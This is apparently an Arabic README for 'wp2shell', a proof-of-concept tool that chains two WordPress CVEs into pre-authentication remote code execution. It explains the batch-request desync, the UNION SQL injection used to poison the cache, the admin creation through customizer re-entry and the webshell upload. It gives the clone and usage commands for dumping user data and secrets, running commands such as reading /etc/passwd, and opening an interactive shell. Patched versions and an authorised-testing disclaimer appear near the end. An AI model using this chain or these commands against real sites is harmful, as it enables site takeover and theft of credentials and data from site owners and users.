
PoC لـ CVE-2026-63030 + CVE-2026-60137، المعروف أيضًا باسم WP2Shell
تنفيذ تعليمات برمجية عن بُعد قبل المصادقة لووردبريس 6.9.0–6.9.4 و7.0.0–7.0.1.
يربط CVE-2026-63030 (التباس مسار الدُفعات SQLi) مع CVE-2026-60137 (إعادة دخول تغييرات المُخصِّص customizer) لتحقيق إنشاء مدير دون مصادقة وتنفيذ أوامر نظام التشغيل. لا حاجة لتكسير كلمات المرور.

شكرًا لـ hashkitten على الاكتشاف، واقرأ التحليل الفني الكامل من SLCyber هنا.
معالج الدُفعات في REST API الخاص بووردبريس (serve_batch_request_v1) يحتوي على خطأ فهرسة إزاحة-بواحد (off-by-one): عندما يفشل wp_parse_url() في مسار طلب فرعي، يتم دفع WP_Error الناتج إلى $validation[] ولكن ليس إلى $matches[]. يؤدي هذا إلى فقدان تزامن المصفوفتين — يتم توجيه كل طلب لاحق عبر المُعالِج الخاطئ.
من خلال تداخل دفعة منظمة بعناية داخل دفعة أخرى، يمكن للمهاجم:
author__not_in (تحويل السلسلة→مصفوفة يتجاوز absint())UNION SELECT لتسميم ذاكرة التخزين المؤقت للكائنات في ووردبريس بكائنات مشاركات مزيفةبمجرد اكتمال الإعداد (اكتشاف بادئة الجدول ومعرّف المدير)، يتم إطلاق حمولة التصعيد في طلب HTTP واحد — تسميم ذاكرة التخزين المؤقت، رفع الامتيازات، وإنشاء المستخدم كلها تحدث من جانب الخادم في رحلة ذهاب وإياب واحدة.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
تسميم ذاكرة التخزين المؤقت (7 مشاركات مزيفة عبر UNION):
[embed] في محتواهاcustomize_changeset، الحالة future، تاريخ في الماضي)post_type=nav_menu_item لفحص is_nav_menu_item)post_type=request، post_status=parse، parent=inner)تدفق التنفيذ:
[embed]wp_update_postwp_update_post التغييرات المخزنة مؤقتًا (parent=outer) → يكتشف فحص التسلسل الهرمي Loop 1future → يتحول تلقائيًا إلى publish_wp_customize_publish_changeset → wp_set_current_user(admin_id) → سياق المدير نشطnav_menu_item[real_id] — تقول ذاكرة التخزين المؤقت type=nav_menu_item → مسار UPDATEobject_id إلى مشاركة مخزنة مؤقتًا بـ post_parent=re-entry → wp_update_post على المشاركة الحقيقية$post_id غير صفري) Loop 2 (re-entry ↔ inner)متغير جلسة MySQL مضاد للتكرار (@_wp2s) يضمن تشغيل السلسلة مرة واحدة بالضبط دون تكرار.
--cleanup يحذف المستخدم المُنشأ ويزيل قشرة الويب عند الخروجgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
لا pip install، ولا virtualenv. إنه ملف واحد.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
يعمل أمرا check وread على أي هدف متأثر. تتطلب سلسلة exploit ثلاثة متطلبات إضافية:
إذا كان الهدف يستخدم Redis أو Memcached كذاكرة تخزين مؤقت للكائنات، يتم فرض تفعيل split_the_query بغض النظر عن per_page، ويتم تجاهل صفوف UNION أثناء جلب المعرفات فقط. لا يزال أمر read يعمل (الاستخراج الأعمى لا يحتاج بقاء UNION في ذاكرة التخزين المؤقت)، لكن exploit سيفشل.
| الفرع | معرّض للخطر | تم الإصلاح |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
يضيف التصحيح $matches[] = $single_request; لحالات الخطأ (إصلاح خطأ off-by-one) وحارسًا لإعادة الدخول في serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
لماذا /wp/v2/widgets كمسار المصدر؟
لا يسجل مُتحكِّم الأدوات (Widgets) معاملات per_page أو orderby أو author_exclude في مخطط نقطة النهاية الخاصة به. تمر هذه المعاملات عبر التحقق دون تغيير (تتجاهل أداة التحقق من المخطط المعاملات غير المعروفة). عندما يوجّه عدم التزامن هذا الطلب عبر مُتحكِّم المشاركات (Posts)، تتدفق تلك القيم الخام مباشرة إلى WP_Query.
لماذا per_page=500؟
class-wp-query.php:3375 — يتطلب split_the_query !empty($limits) && posts_per_page < 500. مع per_page=500، يكون الشرط 500 < 500 خاطئًا، لذلك يتم تعطيل split_the_query. يتم تنفيذ الاستعلام الكامل (بما في ذلك UNION) كعبارة واحدة، وتبقى جميع الصفوف المحقونة في مجموعة النتائج وذاكرة التخزين المؤقت.
لماذا nav_menu_item[real_id] (معرّف موجب)؟
استخدام معرّف مشاركة موجب يدخل مسار UPDATE في nav-menu.php:614، الذي يستدعي wp_update_post مع $post_id غير صفري. هذا أمر بالغ الأهمية لأن wp_check_post_hierarchy_for_loops في post.php:8070 يعود مبكرًا عندما يكون $post_id = 0 (مشاركات جديدة). يتم تسميم ذاكرة التخزين المؤقت بقيمة post_type=nav_menu_item لذلك المعرّف بحيث يجتاز is_nav_menu_item() فحص النوع في nav-menu.php:426. ثم يُشغّل مسار UPDATE فحص التسلسل الهرمي الذي يكتشف Loop 2.
لماذا حلقتان للتسلسل الهرمي؟
تُشغّل الحلقة 1 (changeset ↔ outer) نشر التغييرات وتضبط سياق المدير. وتنطلق الحلقة 2 (re-entry ↔ inner) خلال نافذة المدير (داخل استدعاء save() لإعداد عنصر قائمة التنقل في حلقة نشر التغييرات) وتُشغّل parse_request → إعادة دخول REST. الحلقتان مستقلتان لأن إصلاح الحلقة 2 يجب أن يكتب مشاركة إعادة الدخول إلى قاعدة البيانات خلال نافذة المدير عند السطر 3581 — قبل إعادة التعيين عند السطر 3589.
تُنشر هذه الأداة لأغراض اختبار الأمان والبحث المصرّح بها. استخدمها فقط ضد الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
البحث والتطوير بواسطة CryptoCat.
wp_update_post(re-entry) → يكتب type=request وstatus=parse إلى قاعدة البياناتwp_transition_post_status الدالة do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users في النهاية → يتم إنشاء المدير → die()| المتطلب | السبب | ووردبريس الافتراضي؟ |
|---|
| مشاركة منشورة واحدة على الأقل | يحتاج oEmbed إلى عنوان URL محلي لتشغيل معالجة التضمين | نعم (Hello World) |
| لا توجد ذاكرة تخزين مؤقت دائمة للكائنات | يجب تعطيل Split-the-query لتبقى صفوف UNION موجودة | نعم (افتراضيًا ذاكرة ملفات) |
| REST API قابل للوصول | إعادة الدخول عبر parse_request تحتاج إلى خادم REST | نعم |
| كتابة مباشرة على نظام الملفات | رفع الإضافة يحتاج FS_METHOD=direct أو امتلاك PHP لمجلد wp-content | نعم (معظم الاستضافات) |